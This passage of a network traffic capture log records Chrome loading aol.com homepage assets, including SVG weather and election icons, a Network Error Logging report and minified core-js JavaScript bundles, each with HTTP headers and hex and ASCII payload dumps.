32	192.168.2.6	49758	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:35 UTC	631	OUT	GET /caas-assets-production/assets/v1/images/icons/elections-2024.svg HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:35 UTC	996	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 5167542 Cache-Control: max-age=365000000, immutable Content-Type: image/svg+xml Date: Thu, 23 May 2024 22:34:35 GMT Etag: "93fe207c1b9a8c0b94bd6672c011a260" Last-Modified: Mon, 29 Jan 2024 15:56:05 GMT NEL: {"report_to": "default", "max_age": 43200, "include_subdomains": true, "failure_fraction": 1.0, "success_fraction": 0.001} Report-To: {"group": "default", "max_age": 43200, "include_subdomains": true, "endpoints":[{"url": "https://report.edgecast.com/nel/v0?s=QlcUD1xRUxNXDlABC1NW", "priority": 1}, {"url": "https://nelcollector.sre.ecsvc.net/report", "priority": 2}]} Server: ECAcc (lhd/35C1) x-amz-id-2: zDiGqMrrcz6gtfmcbroQuKeGUHLnNlA6Xi5VZ4v3BLUuiZvJyUanr9f4M6fQ9AjoI3ay9N1Z5kU= x-amz-replication-status: COMPLETED x-amz-request-id: 0MX06WAG0KF43M8P x-amz-server-side-encryption: AES256 x-amz-version-id: Ms9nYqJanFgZvuhAPEDD6x_pMezWGxUs X-Cache: HIT Content-Length: 2346 Connection: close
2024-05-23 22:34:35 UTC	2346	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 33 33 22 20 68 65 69 67 68 74 3d 22 31 31 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 33 33 20 31 31 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 20 20 3c 70 61 74 68 20 64 3d 22 4d 30 2e 34 36 32 20 38 2e 33 30 32 43 31 2e 33 36 37 33 33 20 37 2e 35 39 32 36 37 20 32 2e 31 30 39 33 33 20 36 2e 39 38 31 33 33 20 32 2e 36 38 38 20 36 2e 34 36 38 43 33 2e 32 36 36 36 37 20 35 2e 39 35 34 36 37 20 33 2e 37 35 32 20 35 2e 34 32 37 33 33 20 34 2e 31 34 34 20 34 2e 38 38 36 43 34 2e 35 33 36 20 34 2e 33 33 35 33 33 20 34 2e 37 33 32 20 33 2e 38 31 32 36 37 20 34 2e 37 33 32 20 33 2e 33 31 38 43 34 2e 37 33 32 20 33 2e 30 Data Ascii: <svg width="33" height="11" viewBox="0 0 33 11" fill="none" xmlns="http://www.w3.org/2000/svg"> <path d="M0.462 8.302C1.36733 7.59267 2.10933 6.98133 2.688 6.468C3.26667 5.95467 3.752 5.42733 4.144 4.886C4.536 4.33533 4.732 3.81267 4.732 3.318C4.732 3.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49760	152.195.133.117	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:35 UTC	354	OUT	POST /nel/v0?s=QlcUD1xRUxNXDlABC1NW HTTP/1.1 Host: report.edgecast.com Connection: keep-alive Content-Length: 454 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:35 UTC	454	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 35 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 32 36 30 36 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 6f 6c 2e 63 6f 6d 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 39 32 2e 32 32 39 2e 32 32 31 2e 32 34 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 32 30 30 2c 22 74 79 70 65 22 3a 22 6f 6b 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f Data Ascii: [{"age":5,"body":{"elapsed_time":2606,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://www.aol.com/","sampling_fraction":0.001,"server_ip":"192.229.221.24","status_code":200,"type":"ok"},"type":"network-error","url":"https://
2024-05-23 22:34:36 UTC	473	IN	HTTP/1.1 204 No Content Access-Control-Allow-Headers: Content-Type Access-Control-Allow-Methods: POST, OPTIONS Access-Control-Allow-Origin: * Date: Thu, 23 May 2024 22:34:35 GMT NEL: {"report_to": "default", "max_age": 1800, "include_subdomains": true, "failure_fraction": 1.0, "success_fraction": 0.01} Report-To: {"group": "default", "max_age":1800, "endpoints":[{"url":"https://nelcollector.sre.ecsvc.net/report"}]} Server: ECAcc (lhd/3586) Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49761	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:35 UTC	625	OUT	GET /cv/apiv2/aolfp/images/weather/small/30-partly-cloudy-day.svg HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:36 UTC	818	IN	HTTP/1.1 200 OK x-amz-id-2: mEbRspL3qN/HUh59HiFfzan2PgTYJTTrkCwNSJLZIRukt1/tN+JfJZMUdAW+TkvTIpy+SPS2osw= x-amz-request-id: ES95KP7EQ53VJ05S Date: Mon, 15 Apr 2024 12:43:32 GMT Last-Modified: Fri, 17 Mar 2023 06:48:20 GMT ETag: "189ee100fce59f87bc6b7666a6caf553" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/svg+xml Server: ATS Content-Length: 2594 Referrer-Policy: no-referrer-when-downgrade Age: 3318665 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 3c 70 61 74 68 20 64 3d 22 4d 32 34 20 34 32 43 33 33 2e 39 34 31 31 20 34 32 20 34 32 20 33 33 2e 39 34 31 31 20 34 32 20 32 34 43 34 32 20 31 34 2e 30 35 38 39 20 33 33 2e 39 34 31 31 20 36 20 32 34 20 36 43 31 34 2e 30 35 38 39 20 36 20 36 20 31 34 2e 30 35 38 39 20 36 20 32 34 43 36 20 33 33 2e 39 34 31 31 20 31 34 2e 30 35 38 39 20 34 32 20 32 34 20 34 32 5a 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 70 61 69 6e 74 30 5f 6c 69 6e 65 61 72 5f 31 30 34 5f 35 35 30 29 22 2f Data Ascii: <svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M24 42C33.9411 42 42 33.9411 42 24C42 14.0589 33.9411 6 24 6C14.0589 6 6 14.0589 6 24C6 33.9411 14.0589 42 24 42Z" fill="url(#paint0_linear_104_550)"/
2024-05-23 22:34:36 UTC	1294	IN	Data Raw: 30 38 32 35 5a 22 20 66 69 6c 6c 3d 22 23 37 44 43 42 46 46 22 20 66 69 6c 6c 2d 6f 70 61 63 69 74 79 3d 22 30 2e 30 35 22 2f 3e 0a 3c 70 61 74 68 20 64 3d 22 4d 33 35 2e 34 32 38 34 20 31 35 2e 30 38 32 35 43 33 30 2e 34 38 34 35 20 31 35 2e 32 39 35 39 20 32 36 2e 34 31 31 20 31 39 2e 31 33 38 32 20 32 35 2e 37 38 36 32 20 32 34 2e 31 37 37 34 43 32 34 2e 30 31 35 20 32 33 2e 37 35 31 31 20 32 32 2e 31 35 31 20 32 34 2e 30 38 34 34 20 32 30 2e 36 32 34 34 20 32 35 2e 31 30 30 33 43 31 38 2e 37 32 35 33 20 32 36 2e 32 34 33 37 20 31 37 2e 34 32 32 36 20 32 38 2e 31 39 37 38 20 31 37 2e 30 37 32 20 33 30 2e 34 32 39 32 43 31 36 2e 38 39 35 32 20 33 31 2e 36 38 32 35 20 31 37 2e 30 34 35 33 20 33 32 2e 39 36 31 34 20 31 37 2e 35 30 37 20 33 34 2e 31 33 35 Data Ascii: 0825Z" fill="#7DCBFF" fill-opacity="0.05"/><path d="M35.4284 15.0825C30.4845 15.2959 26.411 19.1382 25.7862 24.1774C24.015 23.7511 22.151 24.0844 20.6244 25.1003C18.7253 26.2437 17.4226 28.1978 17.072 30.4292C16.8952 31.6825 17.0453 32.9614 17.507 34.135

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49762	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:35 UTC	612	OUT	GET /cv/apiv2/aolfp/images/weather/small/12-rain.svg HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:36 UTC	818	IN	HTTP/1.1 200 OK x-amz-id-2: Y0RW40HJKSW74bSTGfLdWe0eEdJhU1YI7b0+2s3EAqkkr+l4NvhcIkYoo5GCwLJZFUnqoaJCyUk= x-amz-request-id: NAJ59PGN14G72VAB Date: Wed, 10 Apr 2024 05:32:18 GMT Last-Modified: Fri, 17 Mar 2023 06:48:20 GMT ETag: "abba7d60c3e8fc1c96ec886e0347a5bf" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/svg+xml Server: ATS Content-Length: 1647 Referrer-Policy: no-referrer-when-downgrade Age: 3776539 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 3c 70 61 74 68 20 64 3d 22 4d 34 36 20 31 37 2e 32 33 30 38 43 34 36 20 32 35 2e 36 39 32 33 20 33 39 2e 32 33 30 38 20 33 32 2e 34 36 31 35 20 33 30 2e 37 36 39 32 20 33 32 2e 34 36 31 35 48 31 31 2e 33 30 37 37 43 36 2e 32 33 30 37 37 20 33 32 2e 34 36 31 35 20 32 20 32 38 2e 32 33 30 38 20 32 20 32 33 2e 31 35 33 38 43 32 20 31 38 2e 30 37 36 39 20 36 2e 32 33 30 37 37 20 31 33 2e 38 34 36 32 20 31 31 2e 33 30 37 37 20 31 33 2e 38 34 36 32 43 31 32 2e 38 33 30 38 20 31 Data Ascii: <svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M46 17.2308C46 25.6923 39.2308 32.4615 30.7692 32.4615H11.3077C6.23077 32.4615 2 28.2308 2 23.1538C2 18.0769 6.23077 13.8462 11.3077 13.8462C12.8308 1
2024-05-23 22:34:36 UTC	347	IN	Data Raw: 33 36 43 31 31 2e 36 36 38 36 20 33 36 20 31 34 2e 35 32 36 34 20 34 30 2e 39 32 31 31 20 31 33 2e 39 31 34 20 34 32 2e 39 37 31 36 5a 22 20 66 69 6c 6c 3d 22 23 31 32 41 39 46 46 22 2f 3e 0a 3c 64 65 66 73 3e 0a 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 20 69 64 3d 22 70 61 69 6e 74 30 5f 6c 69 6e 65 61 72 5f 31 30 34 5f 34 30 38 22 20 78 31 3d 22 35 31 2e 39 38 35 32 22 20 79 31 3d 22 33 32 2e 34 36 31 35 22 20 78 32 3d 22 35 31 2e 39 38 35 32 22 20 79 32 3d 22 32 2e 34 31 31 36 34 22 20 67 72 61 64 69 65 6e 74 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 3e 0a 3c 73 74 6f 70 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 42 35 42 44 43 38 22 2f 3e 0a 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 30 2e 32 31 30 34 33 36 22 20 73 74 6f 70 Data Ascii: 36C11.6686 36 14.5264 40.9211 13.914 42.9716Z" fill="#12A9FF"/><defs><linearGradient id="paint0_linear_104_408" x1="51.9852" y1="32.4615" x2="51.9852" y2="2.41164" gradientUnits="userSpaceOnUse"><stop stop-color="#B5BDC8"/><stop offset="0.210436" stop

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	49765	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:36 UTC	570	OUT	GET /caas-assets-production/assets/v1/wafer-core.0a677c8dde5a4efd.js HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:36 UTC	636	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 208689 Cache-Control: max-age=365000000, immutable Content-Type: application/javascript; charset=utf-8 Date: Thu, 23 May 2024 22:34:36 GMT Etag: "0a677c8dde5a4efd506045f7fd085f68" Last-Modified: Tue, 21 May 2024 12:26:12 GMT Server: ECAcc (lhd/3586) Vary: Accept-Encoding x-amz-id-2: JZd8/CyRKAD/u+222eQw2TgaY+ocEsWHtpPrOeP/M5MgA88kRgkqSPRU+KihIfVTF5xux/xv2rY= x-amz-replication-status: COMPLETED x-amz-request-id: SSGT8XWDASAY4WMY x-amz-server-side-encryption: AES256 x-amz-version-id: DSjn1WWVOsbSQO0DK8DmCxSuQkzRzpTG X-Cache: HIT Content-Length: 179012 Connection: close
2024-05-23 22:34:36 UTC	16383	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 2e 77 61 66 65 72 3d 74 28 29 3a 65 2e 77 61 66 65 72 3d 74 28 29 7d 28 73 65 6c 66 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 3d 7b 31 38 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 22 75 6e 64 65 66 69 6e Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer",[],t):"object"==typeof exports?exports.wafer=t():e.wafer=t()}(self,(function(){return e={18:function(e){var t;"undefin
2024-05-23 22:34:36 UTC	1	IN	Data Raw: 2f Data Ascii: /
2024-05-23 22:34:36 UTC	16383	IN	Data Raw: 69 6e 74 65 72 6e 61 6c 73 2f 68 61 73 2d 6f 77 6e 2d 70 72 6f 70 65 72 74 79 2e 6a 73 22 29 2c 72 3d 6e 28 22 2e 2e 2f 2e 2e 2f 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 2f 63 6f 72 65 2d 6a 73 2f 69 6e 74 65 72 6e 61 6c 73 2f 6f 77 6e 2d 6b 65 79 73 2e 6a 73 22 29 2c 73 3d 6e 28 22 2e 2e 2f 2e 2e 2f 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 2f 63 6f 72 65 2d 6a 73 2f 69 6e 74 65 72 6e 61 6c 73 2f 6f 62 6a 65 63 74 2d 67 65 74 2d 6f 77 6e 2d 70 72 6f 70 65 72 74 79 2d 64 65 73 63 72 69 70 74 6f 72 2e 6a 73 22 29 2c 69 3d 6e 28 22 2e 2e 2f 2e 2e 2f 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 2f 63 6f 72 65 2d 6a 73 2f 69 6e 74 65 72 6e 61 6c 73 2f 6f 62 6a 65 63 74 2d 64 65 66 69 6e 65 2d 70 72 6f 70 65 72 74 79 2e 6a 73 22 29 3b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 Data Ascii: internals/has-own-property.js"),r=n("../../node_modules/core-js/internals/own-keys.js"),s=n("../../node_modules/core-js/internals/object-get-own-property-descriptor.js"),i=n("../../node_modules/core-js/internals/object-define-property.js");e.exports=funct
2024-05-23 22:34:36 UTC	16383	IN	Data Raw: 65 74 61 64 61 74 61 2e 6a 73 22 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6f 3d 6e 28 22 2e 2e 2f 2e 2e 2f 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 2f 63 6f 72 65 2d 6a 73 2f 69 6e 74 65 72 6e 61 6c 73 2f 65 78 70 6f 72 74 2e 6a 73 22 29 2c 72 3d 6e 28 22 2e 2e 2f 2e 2e 2f 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 2f 63 6f 72 65 2d 6a 73 2f 69 6e 74 65 72 6e 61 6c 73 2f 66 75 6e 63 74 69 6f 6e 2d 75 6e 63 75 72 72 79 2d 74 68 69 73 2e 6a 73 22 29 2c 73 3d 6e 28 22 2e 2e 2f 2e 2e 2f 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 2f 63 6f 72 65 2d 6a 73 2f 69 6e 74 65 72 6e 61 6c 73 2f 68 69 64 64 65 6e 2d 6b 65 79 73 2e 6a 73 22 29 2c 69 3d 6e 28 22 2e 2e 2f 2e 2e 2f 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 2f 63 6f 72 65 Data Ascii: etadata.js":function(e,t,n){"use strict";var o=n("../../node_modules/core-js/internals/export.js"),r=n("../../node_modules/core-js/internals/function-uncurry-this.js"),s=n("../../node_modules/core-js/internals/hidden-keys.js"),i=n("../../node_modules/core
2024-05-23 22:34:36 UTC	2	IN	Data Raw: 64 65 Data Ascii: de
2024-05-23 22:34:36 UTC	16383	IN	Data Raw: 66 69 6e 65 2d 70 72 6f 70 65 72 74 69 65 73 2e 6a 73 22 29 2c 69 3d 6e 28 22 2e 2e 2f 2e 2e 2f 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 2f 63 6f 72 65 2d 6a 73 2f 69 6e 74 65 72 6e 61 6c 73 2f 65 6e 75 6d 2d 62 75 67 2d 6b 65 79 73 2e 6a 73 22 29 2c 61 3d 6e 28 22 2e 2e 2f 2e 2e 2f 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 2f 63 6f 72 65 2d 6a 73 2f 69 6e 74 65 72 6e 61 6c 73 2f 68 69 64 64 65 6e 2d 6b 65 79 73 2e 6a 73 22 29 2c 6c 3d 6e 28 22 2e 2e 2f 2e 2e 2f 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 2f 63 6f 72 65 2d 6a 73 2f 69 6e 74 65 72 6e 61 6c 73 2f 68 74 6d 6c 2e 6a 73 22 29 2c 63 3d 6e 28 22 2e 2e 2f 2e 2e 2f 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 2f 63 6f 72 65 2d 6a 73 2f 69 6e 74 65 72 6e 61 6c 73 2f 64 6f 63 75 6d 65 6e 74 2d 63 72 65 61 74 65 2d 65 6c 65 6d Data Ascii: fine-properties.js"),i=n("../../node_modules/core-js/internals/enum-bug-keys.js"),a=n("../../node_modules/core-js/internals/hidden-keys.js"),l=n("../../node_modules/core-js/internals/html.js"),c=n("../../node_modules/core-js/internals/document-create-elem
2024-05-23 22:34:36 UTC	16383	IN	Data Raw: 22 2e 2e 2f 2e 2e 2f 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 2f 63 6f 72 65 2d 6a 73 2f 69 6e 74 65 72 6e 61 6c 73 2f 66 75 6e 63 74 69 6f 6e 2d 61 70 70 6c 79 2e 6a 73 22 29 2c 63 3d 6e 28 22 2e 2e 2f 2e 2e 2f 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 2f 63 6f 72 65 2d 6a 73 2f 69 6e 74 65 72 6e 61 6c 73 2f 66 75 6e 63 74 69 6f 6e 2d 62 69 6e 64 2d 63 6f 6e 74 65 78 74 2e 6a 73 22 29 2c 75 3d 6e 28 22 2e 2e 2f 2e 2e 2f 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 2f 63 6f 72 65 2d 6a 73 2f 69 6e 74 65 72 6e 61 6c 73 2f 69 73 2d 63 61 6c 6c 61 62 6c 65 2e 6a 73 22 29 2c 64 3d 6e 28 22 2e 2e 2f 2e 2e 2f 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 2f 63 6f 72 65 2d 6a 73 2f 69 6e 74 65 72 6e 61 6c 73 2f 68 61 73 2d 6f 77 6e 2d 70 72 6f 70 65 72 74 79 2e 6a 73 22 29 2c 66 3d 6e 28 22 Data Ascii: "../../node_modules/core-js/internals/function-apply.js"),c=n("../../node_modules/core-js/internals/function-bind-context.js"),u=n("../../node_modules/core-js/internals/is-callable.js"),d=n("../../node_modules/core-js/internals/has-own-property.js"),f=n("
2024-05-23 22:34:36 UTC	16383	IN	Data Raw: 76 65 2c 63 3d 6e 2e 72 65 6a 65 63 74 2c 75 3d 61 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 3d 73 28 74 2e 72 65 73 6f 6c 76 65 29 2c 69 3d 5b 5d 2c 61 3d 30 2c 63 3d 31 3b 6c 28 65 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 73 3d 61 2b 2b 2c 6c 3d 21 31 3b 63 2b 2b 2c 72 28 6e 2c 74 2c 65 29 2e 74 68 65 6e 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 69 5b 73 5d 3d 7b 73 74 61 74 75 73 3a 22 66 75 6c 66 69 6c 6c 65 64 22 2c 76 61 6c 75 65 3a 65 7d 2c 2d 2d 63 7c 7c 6f 28 69 29 29 7d 29 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 69 5b 73 5d 3d 7b 73 74 61 74 75 73 3a 22 72 65 6a 65 63 74 65 64 22 2c 72 65 61 73 6f 6e 3a 65 7d 2c 2d 2d 63 7c 7c 6f 28 69 29 29 7d 29 29 7d 29 29 2c 2d Data Ascii: ve,c=n.reject,u=a((function(){var n=s(t.resolve),i=[],a=0,c=1;l(e,(function(e){var s=a++,l=!1;c++,r(n,t,e).then((function(e){l\|\|(l=!0,i[s]={status:"fulfilled",value:e},--c\|\|o(i))}),(function(e){l\|\|(l=!0,i[s]={status:"rejected",reason:e},--c\|\|o(i))}))})),-
2024-05-23 22:34:36 UTC	3	IN	Data Raw: 63 74 69 Data Ascii: cti
2024-05-23 22:34:36 UTC	16383	IN	Data Raw: 6f 6e 28 29 7b 73 65 3d 21 30 7d 2c 75 73 65 53 69 6d 70 6c 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 73 65 3d 21 31 7d 7d 29 2c 6f 28 7b 74 61 72 67 65 74 3a 22 4f 62 6a 65 63 74 22 2c 73 74 61 74 3a 21 30 2c 66 6f 72 63 65 64 3a 21 63 2c 73 68 61 6d 3a 21 6c 7d 2c 7b 63 72 65 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 3d 3d 3d 74 3f 79 28 65 29 3a 75 65 28 79 28 65 29 2c 74 29 7d 2c 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3a 63 65 2c 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3a 75 65 2c 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 3a 66 65 7d 29 2c 6f 28 7b 74 61 72 67 65 74 3a 22 4f 62 6a 65 63 74 22 2c 73 74 61 74 3a 21 30 2c 66 6f 72 63 65 64 3a 21 63 7d 2c 7b 67 65 74 Data Ascii: on(){se=!0},useSimple:function(){se=!1}}),o({target:"Object",stat:!0,forced:!c,sham:!l},{create:function(e,t){return void 0===t?y(e):ue(y(e),t)},defineProperty:ce,defineProperties:ue,getOwnPropertyDescriptor:fe}),o({target:"Object",stat:!0,forced:!c},{get

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	49764	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:36 UTC	572	OUT	GET /caas-assets-production/assets/v1/vendor-glide.5d4589fcc2e985fc.js HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
